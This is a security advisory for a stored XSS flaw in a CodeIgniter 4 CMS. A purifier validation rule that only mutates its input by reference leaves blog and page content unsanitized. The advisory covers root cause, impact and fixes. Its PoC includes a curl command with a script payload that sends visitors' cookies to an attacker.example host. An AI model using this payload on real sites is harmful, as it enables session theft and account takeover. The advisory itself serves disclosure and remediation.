CVE-2026-45138

Description

## Summary The custom `html_purify` validation rule used to sanitize blog post bodies relies on by-reference mutation (`?string &$str`), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes `$lanData['content']` directly into `blog_langs.content`, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts. ## Details ### Root cause: by-reference mutation never propagates `Modules\Backend\Validation\CustomRules::html_purify` declares its first argument by reference: ```php // modules/Backend/Validation/CustomRules.php:54-73 public function html_purify(?string &$str = null, ?string &$error = null): bool { if (empty(trim((string)$str))) return true; if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; } $clean = self::sanitizeHtml($str); $str = $clean; // <-- mutates only the local $value in CI4's validator self::$cleanCache[md5((string)$str)] = $clean; // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL) return true; } ``` CI4's validator invokes the rule via a local variable `$value` it created from a copy of `$this->data`: ```php // vendor/codeigniter4/framework/system/Validation/Validation.php:204-211 foreach ($values as $dotField => $value) { // local $value $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field); } // Validation.php:343-345 $passed = ($param === null) ? $set->{$rule}($value, $error) // <-- $value is the local var : $set->{$rule}($value, $param, $data, $error, $field); ``` The reference mutation modifies that local `$value` only; `$this->data`, `$_POST`, and `getValidated()` keep the raw payload. The optional `getClean($original)` cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on `md5(clean)` rather than `md5(original)`. ### Sink: raw POST is persisted and rendered unescaped The Blog controller takes `$_POST['lang']` verbatim, runs it through validation (which always returns true for `html_purify`), and writes it to the database with no further filtering: ```php // modules/Blog/Controllers/Blog.php:94-125 (Blog::new) $langsPost = $this->request->getPost('lang'); // raw, unsanitized ... if ($this->validate($valData) == false) return redirect()->...; // html_purify returns true ... foreach ($langsPost as $lanCode => $lanData) { $this->commonModel->create('blog_langs', [ 'blog_id' => $insertID, 'lang' => $lanCode, 'title' => trim(strip_tags($lanData['title'])), 'seflink' => trim(strip_tags($lanData['seflink'])), 'content' => $lanData['content'], // <-- raw HTML stored ... ]); } ``` The same pattern is used in `Blog::edit` at `modules/Blog/Controllers/Blog.php:178` and `:201`. The public blog post template echoes the field with no escaping: ```php // app/Views/templates/default/blog/post.php:51 <section class="mb-5" id="ci4ms-content"> <?php echo $infos->content ?> </section> ``` The view is reached through `App\Controllers\Home::post*` (Home.php:238), which is an unauthenticated public route. ### Trust boundary Backend routes (`modules/Blog/Config/Routes.php`) are protected by `backendGuard` + Shield role checks, requiring `blogs.create` / `blogs.update`. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend `/blog/<slug>` is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript. ### Same defect in the Pages module A previous Stored XSS in the Pages module was "fixed" by introducing the very `html_purify` rule that this advisory shows is non-functional. Pages controllers (`Pages::create`, `Pages::update`) follow the same pattern and remain exploitable. ## PoC Prerequisite: any account holding the backend `blogs.create` role (or `blogs.update` for the edit variant). Cookies obtained via the standard backend login flow. 1. Submit a blog post with an XSS payload as the content body: ```bash curl -k -b cookies.txt -X POST https://target/backend/blogs/create \ -d 'lang[en][title]=POC' \ -d 'lang[en][seflink]=poc-xss' \ -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \ -d 'isActive=1' \ -d 'categories[]=1' \ -d 'author=1' \ -d 'created_at=01.01.2026 10:00:00' \ -d 'csrf_token_name=<token>' ``` 2. The validator returns success (`html_purify` reports `true`), and the row is written to `blog_langs` with `content` = `<script>...</script>` verbatim. 3. Visit the public post URL `https://target/blog/poc-xss`. The injected `<script>` runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session. Independent root-cause verification (run against the local app): ```bash $ php /tmp/test_blog_flow.php Validation passed: true Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script> ``` That is, when the same payload is fed to the real CI4 validator with the project's rule set, `getValidated()['lang']['en']['content']` returns the unmodified `<script>...</script>`, confirming the by-reference sanitization is dropped. ## Impact - **Stored XSS reachable by any account with `blogs.create` or `blogs.update`** (delegated content-editor permission), executed in the browser of: - every anonymous public visitor that loads the affected blog post, - the superadmin and other backend reviewers when they open or preview the post. - Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors. - Because the same broken `html_purify` rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through `Pages::create` / `Pages::update` via the same primitive — i.e., this is a project-wide regression of an already-published advisory. - The `getClean()` cache fallback intended as a backstop is also non-functional (key mismatch between `md5(clean)` writer and `md5(original)` reader). ## Recommended Fix 1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after `validate()` and before persisting. Minimal, immediate fix in the Blog controller — apply to both `new` and `edit`: ```php // modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201) use Modules\Backend\Validation\CustomRules; ... $this->commonModel->create('blog_langs', [ 'blog_id' => $insertID, 'lang' => $lanCode, 'title' => trim(strip_tags($lanData['title'])), 'seflink' => trim(strip_tags($lanData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')), 'seo' => !empty($seoData) ? $seoData : '', ]); ``` Apply the identical change to `modules/Pages/Controllers/Pages.php` (the previous Pages Stored XSS fix relied on `html_purify` and is therefore still vulnerable). 2. Fix the cache key bug so `getClean()` actually works as a defense-in-depth backstop: ```php // modules/Backend/Validation/CustomRules.php public function html_purify(?string &$str = null, ?string &$error = null): bool { if (empty(trim((string)$str))) return true; if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; } $original = (string)$str; $clean = self::sanitizeHtml($original); self::$cleanCache[md5($original)] = $clean; // key on ORIGINAL, before reassignment $str = $clean; // best-effort; CI4 will drop this return true; } ``` 3. Document explicitly in `CustomRules` that `html_purify` is *not* a sanitizer — it returns `true` unconditionally on any HTMLPurifier-installed environment — and that callers MUST use `CustomRules::sanitizeHtml(...)` (or `CustomRules::getClean($original)` after the cache fix) on `$_POST` data before storage. 4. Defense in depth: escape `$infos->content` at output where feasible (e.g., `app/Views/templates/default/blog/post.php:51`), or pipe the stored value through `CustomRules::sanitizeHtml()` on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.